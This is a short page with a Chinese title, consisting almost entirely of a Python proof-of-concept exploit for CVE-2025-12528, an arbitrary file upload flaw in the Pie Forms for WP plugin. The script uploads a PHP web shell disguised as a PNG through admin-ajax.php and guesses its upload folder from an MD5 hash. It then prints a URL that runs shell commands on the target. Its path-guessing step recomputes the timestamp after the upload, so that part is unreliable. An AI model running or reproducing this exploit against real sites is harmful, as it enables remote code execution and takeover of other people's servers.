CVE-2025-12528 WordPress Pie Forms插件任意文件上传漏洞

import requests import hashlib import time # CVE-2025-12528 PoC - Pie Forms for WP Arbitrary File Upload # Target: WordPress site with Pie Forms for WP plugin <= 1.6 target_url = "http://target-wordpress-site.com" form_id = 1 # Target form ID # Malicious PHP file content for RCE php_payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" def upload_malicious_file(): """Upload malicious PHP file via vulnerable endpoint""" upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'pieForms': (f'malicious_{int(time.time())}.php', php_payload, 'image/png') } data = { 'action': 'pie_form_submit', 'form_id': form_id, 'pie_form_data': 'test' } try: response = requests.post(upload_url, data=data, files=files, timeout=10) print(f"Upload response: {response.status_code}") return response except Exception as e: print(f"Upload failed: {e}") return None def calculate_upload_path(form_id, timestamp): """Calculate predictable upload directory hash""" hash_input = f"{form_id}_{timestamp}" dir_hash = hashlib.md5(hash_input.encode()).hexdigest()[:8] path = f"/wp-content/uploads/pie-forms/{dir_hash}/" return path def main(): print("CVE-2025-12528 PoC - Pie Forms for WP File Upload") print("=" * 50) # Step 1: Upload malicious file print("[+] Step 1: Uploading malicious PHP file...") response = upload_malicious_file() # Step 2: Calculate file location timestamp = int(time.time()) upload_path = calculate_upload_path(form_id, timestamp) print(f"[+] Step 2: Calculated upload path: {upload_path}") # Step 3: Access uploaded file print("[+] Step 3: Attempting to access uploaded file...") # Note: Actual filename needs to be determined from response print("\n[!] Manual verification required:") print(f"[!] Check response headers for uploaded file path") print(f"[!] Access: {target_url}{upload_path}<filename>.php?cmd=whoami") if __name__ == "__main__": main()